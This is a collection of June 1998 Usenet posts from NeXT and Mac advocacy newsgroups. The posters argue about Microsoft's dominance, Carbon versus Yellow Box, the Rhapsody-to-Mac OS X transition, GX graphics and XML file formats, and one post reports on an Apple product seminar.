Date: 12 Jun 1998 06:58:25 GMT
Organization: Colorado State University, Fort Collins, CO 80523
Message-ID: <6lqjii$1dmi@yuma.ACNS.ColoState.EDU>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu>
<6jk64c$vo9$1@strato.ultra.net>
<rmcassid-1805981307530001@dante.eng.uci.edu>
<tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net>
<35d0ab0c.360543981@news.supernews.com>
<6k6tda$omk$1@ligarius.ultra.net>
<357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net>
<6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net>
<3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
<35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net>
<6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net>
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In article <35809E8C.8E3F239A@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> writes:
> Larry Pyeatt wrote:
>
>> Actually, I called you to task for having the hubris to proclaim what
>> the buying public "wants." That, I believe, cannot really be known,
>> and even if it is, what they want and what is best for them could easily
>> be two different things. I would prefer to leave the decision about
>> what is best for the industry and its customers up to the industry
>> experts, rather than the ignorant masses.
>
> That's a good statement, one not easily forgotten. So the 'ignorant
> masses' are unfit to spend their own money as they choose, I see it now.
I didn't say that, but I know more than one person who spent a lot of money
on a new windows machine and then wished they had bought a Mac, or anything
that didn't crash all the time. They bought Windows because "everyone else
has it" and, in their ignorance, they thought it was the only option they had.
They really were unfit to make the decision. Now they know better, but don't
have the money to rectify their mistakes.
> Better that 'industry experts' instruct their purchases by power of
> political maneuver.
No. Better that 'industry experts' be allowed to provide choices by
starting competing companies that can flourish in an open market
rather than be crushed under the foot of a totalitarian regime. No one
will put up venture capital to develop a product in a market that is
controlled by MS because any such effort is doomed to die in infancy.
> Not often are fascists so honest. I appreciate the gesture.
fas.cism \'fash-.iz-*m, 'fas-.iz-\ \-*st\ \fa-'shis-tik also -'sis-\
\-ti-k(*-)le-\ n [It fascismo, fr. fascio bundle, fasces, group, fr. L
fascis]bundle & fasces fasces 1: the body of principles held by Fascisti 2:
a political philosophy, movement, or regime that exalts nation and race and
stands for a centralized autocratic government headed by a dictatorial
leader, severe economic and social regimentation, and forcible suppression
of opposition - fas.cist nor ;aj
Hmm, doesn't seem to fit me.
1. Unlike some MS advocates, I prefer an open market where monololists have
to compete on the quality of their products to "forcible suppression
of opposition" (in the software market) by MS
2. Unlike some MS advocates, I prefer freedom to choose instead of "centralized
autocratic government" (of the OS market) by MS.
3. Unlike some MS advocates, I prefer several strong companies in the software
market rather than the "dictatorial leader" that MS wants to be.
4. Unlike some MS advocates, I prefer a free market where the company with
the best product can make prosper, rather than the "severe economic and
social regimentation" that MS wants to impose on the market.
Hmm, were you by any chance looking in the mirror when you thought of the
word "fascist?"
>> An expert, by definition, does have superior knowledge, superior prediction,
>> and superior understanding of the area in which he is an expert.
>
> And...you are the expert.
1. ex.pert \'ek-.sp*rt, ik-'\ aj [ME, fr. MF & L; MF, fr. L expertus, fr.
pp. of experiri] obs 1: EXPERIENCED 2: having, involving, or displaying
special skill or knowledge derived from training or experience
2. ex.pert \'ek-.sp*rt\ n [F, fr. expert, adj] : one who has acquired
special skill in or knowledge of a particular subject : AUTHORITY
In my field, yes, I am an expert due to training and experience. I am
also an expert at making beer due to experience. That does not mean
that I am the ONLY expert in these areas, and I certainly rely on the
opinions of others when I need to make decisions outside of my
expertise.
>> > I'm not being sarcastic with you, Mr. Devlin, it's a serious matter
>> > you're discussing, and before you claim to have that superior knowledge,
>> > you're going to have to demonstrate it. Being in defense of tradition, I
>> > have no need to make such demonstrations. The burden is on *you* to
>> > prove your case, not on *me* to defend orthodoxy.
>>
>> Well, so far he has demonstrated a pretty good grasp of the situation.
>
> To you it would surely seem so; his understanding far outreaches yours,
> that's sure.
So that puts you a distant third.
--
Larry D. Pyeatt All standard disclaimers apply.
pyeatt@cs.colostate.edu Void where prohibited.
http://www.cs.colostate.edu/~pyeatt
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 Jun 1998 17:06:11 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6lp2q3$cvi$2@news02.btx.dtag.de>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
Ted Brown <tbrown@netset.com> wrote:
>
> Now I'm feeling like Lawson, as I can't figure out anything more stupid,
> shortsighted, and just plain crazy than to port the existing Finder to
> Carbon and use it in OS X. It's pretty much a wasted effort for OS 8/9
> and cannot have a positive impact on the release date of OS X. I wouldn't
> mind Apple porting the Finder to Carbon to test Carbon, and using it in OS
> 8/9, esp if there's some gain in stability and speed evident in OS 8/9 by
> using it. I however don't see a serious need for feature parity between
> the OS 9 Finder and OS X. In fact, there _shouldn't_ be, as more than
> likely, that means holding back on what OS X could deliver.
You seem to have NO clue what Carbon is. A carbonated Finder is just a
recompile away, the Yellow Box-Finder will have to be written from
scratch. If the YBF isn't finished in time for OS X, Apple has the OS 9
Finder (recompiled) as a backup.
Lars T.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 11 Jun 1998 10:24:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1A560A8-C4FFE@206.165.43.134>
References: <6lnvme$den$1@news.cs.tu-berlin.de>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.programmer.misc
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Marcel Weiher <marcel@cs.tu-berlin.de> said:
>Market acceptance has nothing to do with ability. DPS can and
>does render to screen, on this very screen I am typing these
>words on. That is device independence.
But DPS can't output overlapping, resolution-independent, non-opaque
objects to PDF OR EPS, can it?
The same strategy that was used to output to PS under the GX-printing
architecture (find interesection of overlapping non-opaque shapes and
create opaque PS-equivalents) can be used for PDF *OR* EPS. Doing this with
a PDF file is going to require that Apple maintain a private implementation
whenever non-opaque, overlapping objects are present. Come to think of it,
even when they are not overlapping, if you want to retain the transparency
info in case a watermark is placed behind all objects in a page.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: Thu, 11 Jun 1998 10:33:51 -0700
Organization: University of British Columbia
Message-ID: <1dagcrd.1uw6xyrhrymkgN@p024.intchg3.net.ubc.ca>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com>
Nathan Urban <nurban@crib.corepower.com> wrote:
> In what respect is Rhapsody a server OS but MacOS X is not? (Other
> than, perhaps, the lack of NSHosting.)
Isn't it accurate (at least for the moment) to say that Mac OS X _is_
Rhapsody
- plus Carbon,
- with Display PostScript replaced by a new
QuickDraw-ish PDF-emitting graphics engine
(no built-in EPS previewing, printing PS to
non-PostScript printers; no direct dependency
on Adobe)
- minus NSHosting and support for
Intel (and likely pre-G3) hardware?
It's simply amazing what a change of names can do, e.g., from today's
news:
> Rhapsody, the highly-touted modern operating system that
> was pegged to replace the current systems, Mac OS 7 and
> 8, is being discarded in favour of something called Mac
> OS X (as in the Roman numeral, not the letter x).
The magic incantation that makes it seem Rhapsody has been chucked may
not work much longer, however. One wonders what strategy the marketing
folks might then come up with to counter the line competitors will
inevitably employ at the sales-floor FUD level: "Don't be fooled! It's
just a Unix in pretty clothing -- laughably oudated, hideously difficult
old junk."
There's still reason to fear Mac OS X may be neutered to make it safer
to sell as a consumer-level desktop OS. A mass-market consumer desktop
OS that's concurrently a Unix and a Mac OS and...
Just seems too astonishingly, outrageously good to be true.
--
Bruce Bennett
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
From: phenix@interpath.com (John Moreno)
Message-ID: <1dage0z.5j3v8jg2rs8lN@roxboro0-011.dyn.interpath.net>
References: <6knucq$46c$1@news.digifix.com> <B195AF8F-215CF@206.165.43.152> <6kqmcc$3k6$1@news.digifix.com> <B1965026-29DBC@206.165.43.17> <B196AF2E-6ECC@206.165.43.133> <B196C2E5-5109F@206.165.43.133> <6kt6us$sd$1@news.digifix.com> <ldo-0406982006200001@a24.hn1.wave.co.nz> <6l5oe5$ebr$5@ns3.vrx.net> <B19C0AF3-726E1@206.165.43.122> <6l5ts2$j3r$1@ns3.vrx.net> <B19C3969-121196@206.165.43.122> <simpsonh-0406982244370001@ppp-5024.dca.net> <slrn6ngd9g.spt.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <6l8u4t$8a$1@ns3.vrx.net> <B19DB822-EA73@206.165.43.51> <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165> <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz> <6llk0a$hs1$5@ns3.vrx.net> <slrn6ntoqt.q83.ben@ben.tapehouse.net> <slrn6nts3u.n12.sal@panix3.panix.com> <B1A4BDEE-6D7F6@206.165.43.80> <slrn6nustt.3ac.sal@panix3.panix.com> <6lo1h6$g5c$1@crib.corepower.com>
Organization: phenix@interpath.com
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: never
Date: Thu, 11 Jun 1998 14:04:04 GMT
NNTP-Posting-Date: Thu, 11 Jun 1998 07:04:04 PDT
In comp.sys.next.advocacy Nathan Urban <nurban@crib.corepower.com> wrote:
> sal@panix3.panix.com (Salvatore Denaro) wrote:
>
> >
http://x10.dejanews.com/dnquery.xp?search=thread&filter=%7bdb96q1%20%7b%7
b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb97p1%20%7b%7b%7eg%20%23*next*%23%7d%
7d%7d%20%7bdb98p1%20%7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb96q2%20%7b%
7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb97p2%20%7b%7b%7eg%20%23*next*%23%7d
%7d%7d%20%7bdb95q4%20%7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb96q3%20%7b
%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb97p3%20%7b%7b%7eg%20%23*next*%23%7
d%7d%7d%20%7bdb98p2%20%7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb95q23%20%
7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb96q4%20%7b%7b%7eg%20%23*next*%23
%7d%7d%7d%20%7bdb98p3%20%7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb97p4%20
%7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb96q5%20%7b%7b%7eg%20%23*next*%2
3%7d%7d%7d%20%7bdb97p5%20%7b%7b%7eg%20%23*next*%23%7d%7d%7d%20%7bdb97p6%2
0%7b%7b%7eg%20%23*next*%23%7d%7d%7d&svcclass=dnserver&threaded=1&ST=PS&CO
NTEXT=897544838.2092498953&HIT_CONTEXT=897544838.2092498953&HIT_NUM=10&re
cnum=%3c5oc4sm$7ra$1@news.lth.se%3e%231/1
>
> Don't you wish that DejaNews supported a simple
> http://dejanews.com/MessageID=... or http://dejanews.com/ThreadID=... URL
> query?
If I say I'm god and can give it to you will you give me your first born
son as a offering (although what I'd do with a first born son I have no
idea, now if it was a first born daughter and you were 50 or 60.....)
Anywhoo,
<http://search.dejanews.com/msgid.xp?MID=%3C5oc4sm$7ra$1@news.lth.se%3E>
gives you the article that is the thread entry point for the above (long)
reference.
Since this only does messageids and not threads (and it's not possible to
go from this /to/ the thread) I'll simply accept large sums of cash.
--
John Moreno
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacWeek Article on Future of Rhapsody
Date: 11 Jun 1998 16:26:00 -0700
Organization: Primenet (602)416-7000
Message-ID: <6lpp28$sup@nntp02.primenet.com>
References: <vik-0806981034470001@p20.hwts04.loop.net> <6lnbt8$bcd$2@clarknet.clark.net> <6lp29e$2as$1@new-news.cc.brandeis.edu>
Nathan G. Raymond <xray@cs.brandeis.edu> wrote:
: No signs MacOS X won't be Rhapsody with just the Carbon API's tacked on.
: Technically speaking, no biggie. By introducing Rhapsody and then
: changing names, it gives Apple a REALLY big window to play with.
So binaries compiled on Rhapsody will run on MacOS X?
John
From: tbrown@netset.com (Ted Brown)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Thu, 11 Jun 1998 19:28:03 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <tbrown-1106981928040001@mv099.axom.com>
References: <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <tbrown-0806982356060001@mv172.axom.com> <rmcassid-0906980011280001@dialin33413.slip.uci.edu> <TP5f1.12155$Kx3.12551461@news.rdc1.sdca.home.com> <tbrown-0906981819170001@mv085.axom.com> <6lp2q3$cvi$2@news02.btx.dtag.de>
In article <6lp2q3$cvi$2@news02.btx.dtag.de>, Fam.Traeger@t-online.de
(=?ISO-8859-1?Q?Lars_Tr=E4ger?=) wrote:
>Ted Brown <tbrown@netset.com> wrote:
>
>>
>> Now I'm feeling like Lawson, as I can't figure out anything more stupid,
>> shortsighted, and just plain crazy than to port the existing Finder to
>> Carbon and use it in OS X. It's pretty much a wasted effort for OS 8/9
>> and cannot have a positive impact on the release date of OS X. I wouldn't
>> mind Apple porting the Finder to Carbon to test Carbon, and using it in OS
>> 8/9, esp if there's some gain in stability and speed evident in OS 8/9 by
>> using it. I however don't see a serious need for feature parity between
>> the OS 9 Finder and OS X. In fact, there _shouldn't_ be, as more than
>> likely, that means holding back on what OS X could deliver.
>
>You seem to have NO clue what Carbon is. A carbonated Finder is just a
>recompile away, the Yellow Box-Finder will have to be written from
>scratch. If the YBF isn't finished in time for OS X, Apple has the OS 9
>Finder (recompiled) as a backup.
There's no reason to get rude here.
I think I've a fairly good idea of what Carbon is. It's a subset of the
normal MacOS calls and no one is claiming that it's 'a compile away' from
any MacOS program. A short bit of work, yes, but not "a compile away".
I'm not against Carbonizing the Finder, it's a good test of Carbon. I am
against _planning_ to use it as the Finder for Mac OS X (I really don't
know if this is true, but it's being talked about that way here).
The Yellow Finder _won't_ have to be written from scratch -- there was one
scheduled for release in Rhapsody CR1, how does it behave in DR2? I've
heard that the current Yellow Finder is the work of one person, the Mac OS
Finder team is just that, a team. (truth? fiction?)
I've mentioned it before, maybe half of my problem is that no one's said
"Boy that Finder substitute in Rhapsody DR2 _really_ sucks, I can't
believe they'd ship that thing". So those in the 'know' (ie have
used/seen Rhapsody DR2), how is it?
At least Lawson has Maury telling him that GX sucked because it couldn't
print. Instead I get you claiming that I have 'NO idea what Carbon is'.
I'll spare everyone the rant on why I think a Yellow Finder would be
better. I suspect there's strong disinterest because, really, it's only
a rumor that Apple will use a Carbon Finder, and the final decision is
over a year away anyway.
I really just want to know "Is Apple going to orphan Yellow like the long
list of other 'great' technologies"? I'm not going to forgive them if
they kill OPENSTEP, I was looking forward to _enjoying_ programming again,
I'm just too lazy to program for the MacOS.
--
Ted Brown tbrown@netset.com
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: Re: New Popular Science
Date: 12 Jun 1998 08:54:37 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6lqqcd$70a$2@supernews.com>
References: <6lmhvn$k2i$2@cronkite.cygnus.com> <357F15C6.FE8E3E29@sover.net>
<edewEuEKyo.5GG@netcom.com> <SCOTT.98Jun11163224@slave.doubleu.com>
<6lqa8p$m6c$2@news.xmission.com>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
Cc: don@misckit.com
Don Yacktman may or may not have said:
-> scott@doubleu.com (Scott Hess) wrote:
-> > [...] if you can't cleanly place them
-> > in the base unit, hide the floppy and CD-ROM around the side of the
-> > monitor, while you're at it,
->
-> I disagree with this part. One of the things that always annoyed me about
-> the NeXT slabs was that the floppy slot was on the side.
It also made it more hassle than it should have been to rack-mount a NeXT
slab.
I'd have liked a nice fluid-damped door in the front of the slab that covered
the floppy slot, and maybe also housed a headphone jack, and a "dire
emergency" power switch.
-jcr
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 08:47:23 GMT
Organization: The World's Usenet -- http://www.Supernews.com
Message-ID: <6lqpur$70a$1@supernews.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu>
<6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu>
<slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu>
<ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu>
<SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com>
<35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com>
<6lq9lf$m6c$1@news.xmission.com>
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Cc: don@misckit.com
Don Yacktman may or may not have said:
[snip]
-> The two disadvantages to XML are (1) that it takes slightly longer (only
very
-> slightly if you have a good implementation) to process (irrelevant given
-> today's hardware) and (2) that it is more "verbose" so it takes more bytes
to
-> store the data (the difference is small enough to be irrelevant given
today's
-> hard drive prices).
Both of which are solved by the very simple expedient of stashing your XML
data in a *common*, compressed format which is implemented by a free utility
like gzip or Perl's "pack" function.
I just compressed a .html file with gzip, and it got about 60% smaller.
That's only one data point, but still, when file size is a problem this would
help a great deal.
I would also say that be keeping one's data files in ASCII, debugging can be
made a great deal easier. "Is that file corrupted? Let's see what we're
writing out."
I had an argument in a thread on comp.sys.mac.advocacy with some loser from
MicroSquish a few weeks back, where he was trying to defend their practice of
dicking around with the binary file format in every release to ensure the
necessity of updating your copy of MS Word.
I'm not sure Microsquish does this out of malice anymore. That guy was
clueless enough that this might just be a case of their coding incompetence
accidentally benefitting their marketing.
-jcr
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: MacOS X for G3 *ONLY*
Message-ID: <Nu6g1.3687$Nr5.1864654@proxye1.san.rr.com>
Date: Fri, 12 Jun 1998 09:26:05 GMT
NNTP-Posting-Date: Fri, 12 Jun 1998 02:26:05 PDT
Organization: TWC Road Runner, San Diego, CA
Hi all,
On Thursday I attended an Apple product seminar in San Diego. In the Mac OS
X coverage it was made very clear, clarified at least once: "Mac OS X is for
G3 only." Support for G3 upgrade cards for other PMacs are a "question
mark" at this point.
Overall, the presentation was fairly disastrous from that standpoint that
Apple didn't look good. Sound didn't work on key movies featuring Steve at
WWDC, time management was extremely poor causing the Adobe presenter to cut
her demonstration of the latest PhotoShop and Premier. The second half of
the Apple presentation--the most interesting--was rushed. There were sounds
problems throughout (too loud, no sound, etc.)
Also demoed by Apple were the Powerbook G3 with Virtual PC 2.0 running NT
Server (to serve the mini-network), MachTen (AfterStep was being used with
it), DAVE (allows better integration of Macs in NT networks).
No one asked about Intel support. Yellow Box was described as superseding
OpenDOC in an answer during Q&A. However, Yellow Box was not emphasized
nearly as much as Carbon. Cross-platform in YB was just touched on.
NetInfo got a big plug as did WebObjects.
Apple pushed the G3's as the ultimate PC because of the ease with which the
PC can be managed under Virtual PC and it's wide-ranging compatibility with
PC OS's.
MacOS 8.5 (Allegro) will support the 68040's.
Java was dubbed the future of Mac development.
No iMac was demonstrated which wasn't the impression we'd been given in the
sign-up material. Reasons stated including the only existing iMacs can only
travel with the product's manager and he couldn't be here today and that
there are only about 4 hand-built iMacs in existence and they're being
demoed all over the world.
Responding to iMac questions, USB to serial, USB to SCSI were promised to be
available from 3rd parties.
--Ed.
From: marcel@cs.tu-berlin.de (Marcel Weiher)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 09:33:48 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <6lqsls$pqt$1@news.cs.tu-berlin.de>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
scott@doubleu.com (Scott Hess) writes:
[..]
>You could use XML as a message format for Corba, or as a file format
>to store EOModels in, or as a replacement for NSPPL format, or as a
>replacement for the NSArchive format, whatever. Anyplace you need to
>store structured data in a file.
What I so far like best about XML is that it may
(a) allow free mixing structured and free-form data
(b) allow structural information to be retained all
the way through an output process.
It's not that this wasn't theoretically possible before, but
now it seems to be becoming practical.
Cool.
Marcel
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Reverse Technology
Date: 12 Jun 1998 09:44:22 GMT
Organization: MiscKit Development
Message-ID: <6lqt9m$m6c$3@news.xmission.com>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <rmcassid-0906981239540001@dante.eng.uci.edu> <slrn6nrbv9.1po.sal@panix3.panix.com> <357DB62A.6D843E17@alum.mit.edu> <ldo-1106981751380001@a7.hn3.wave.co.nz> <357FA2ED.FC1EF0C9@alum.mit.edu> <SCOTT.98Jun11091928@slave.doubleu.com> <6lpm6j$2f1$1@news.xmission.com> <35806EA4.100A9B0E@alum.mit.edu> <SCOTT.98Jun11182754@slave.doubleu.com> <6lq9lf$m6c$1@news.xmission.com> <6lqpur$70a$1@supernews.com>
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Don Yacktman may or may not have said:
> [snip]
> -> The two disadvantages to XML are (1) that it takes slightly
> -> longer (only very slightly if you have a good implementation)
> -> to process (irrelevant given today's hardware) and (2) that
> -> it is more "verbose" so it takes more bytes to store the data
> -> (the difference is small enough to be irrelevant given today's
> -> hard drive prices).
>
> Both of which are solved by the very simple expedient of stashing
> your XML data in a *common*, compressed format which is implemented
> by a free utility like gzip or Perl's "pack" function.
That helps #2 at the expense of #1, of course. Going to a proprietary binary
data format could allow you to improve both simultaneously, instead of
trading one for the other. But you would lose all the benefits of an ASCII
file format by doing that, for a gain that would be negligible.
One key point I was trying to make is that the disadvantages are moot given
today's hardware technology and prices. The other is that the advantages are
pretty big and therefore weigh heavily in favor of an ASCII file format such
as PLs or XML.
> I would also say that be keeping one's data files in ASCII,
> debugging can be made a great deal easier. "Is that file
> corrupted? Let's see what we're writing out."
Good point. That was sort of implied in what I had written (I mentioned
fixing a corrupted file) but debugging the app generating the data file is a
different activity, so I should have mentioned it explicitly. Ease of
debugging ASCII files is something I've found very important. I archive
almost all my data in property lists nowadays, and avoid binary file formats
like the plague.
The one place where I have strayed is with some Java stuff I did, where the
property list was written out with 16-bit characters to make sure that
extended characters were preserved. That brings in a possible endian
dependency (I made sure it was implemented in a platform independent way,
though). You can still pretty easily make sense of it in a text editor
anyway...since if you just ignore every other character you are pretty much
back to ASCII. It is harder to edit, though. Guess I need to grab a good
unicode text editor. :-}
> I had an argument in a thread on comp.sys.mac.advocacy with
> some loser from MicroSquish a few weeks back, where he was
> trying to defend their practice of dicking around with the
> binary file format in every release to ensure the necessity
> of updating your copy of MS Word.
Sheesh! And I always thought it was a slick marketing trick
to help maintain the monopoly and cash flow...
> I'm not sure Microsquish does this out of malice anymore. That
> guy was clueless enough that this might just be a case of their
> coding incompetence accidentally benefitting their marketing.
Never attribute to conspiracy that which can be attributed
to sheer, unadulterated stupidity...
(That's one of my favorite rephrasings of Occam's Razor.)
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Huh?
Date: 11 Jun 1998 19:43:43 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lpq3f$j3o$1@crib.corepower.com>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com>
In article <6lpgek$l79@nntp02.primenet.com>, John Jensen <jjens@primenet.com> wrote:
> : In what respect is Rhapsody a server OS but MacOS X is not? (Other
> : than, perhaps, the lack of NSHosting.)
> Has anyone from Apple said if MacOS X will have an inetd?
What, you didn't hear Steve Jobs mention it in the WWDC keynote??
Sheesh. That's an extremely specific thing. Apple hasn't exactly
provided a checklist of every Unix utility. They _have_ said that
the full Unix will be available to those who want it, perhaps as an
optional install. (I've heard that from multiple independent sources,
including I think the WWDC Stepwise coverage.)
> It strikes me that the various statements that "MacOS will be based on
> Rhapsody technology" leave a lot to be interpreted by the listener. Some
> posters in this group have gone so far as to say "MacOS IS Rhapsody".
> That is quite a leap of faith.
I don't think it's a leap of faith at all. It makes the most sense.
We know that MacOS is going to be on top of Mach/BSD4.4. That's more or
less Rhapsody. The only difference might be the removal of some Unix
utils, but they can't remove _everything_ because a BSD system needs
certain things to run! And Rhapsody-level Unix will be available.
> So I'd propose inetd as a simple test of what is a UNIX server.
Even if they didn't ship with it, it would be trivial to compile a BSD
binary.
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 11 Jun 1998 11:26:11 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uwwao3qp8.fsf@ai.mit.edu>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> <uwwapf7fh.fsf@ai.mit.edu> <slrn6ntq6h.148.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) writes:
> Stephen Peters posted the following to comp.sys.mac.advocacy:
>
> >> Perhaps an exaggeration in my part, but there have been an awful lot
> >> of insults aimed at Lawson of late. And I don't feel that I owe you
> >> an apology.
>
> >Of course you don't; you're new. [...]
>
> I been here in csma since before the NeXT merger, so I'd hardly
> call me "new" to Lawson vs. NeXT.
But you admitted yourself that you skipped over most of the Lawson
threads until recently. I'd say that you're new to the Lawson-c.s.n.a
dynamic, and I'm sorry if I didn't clarify that.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 11 Jun 1998 19:10:49 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6lpo5p$ivg$1@crib.corepower.com>
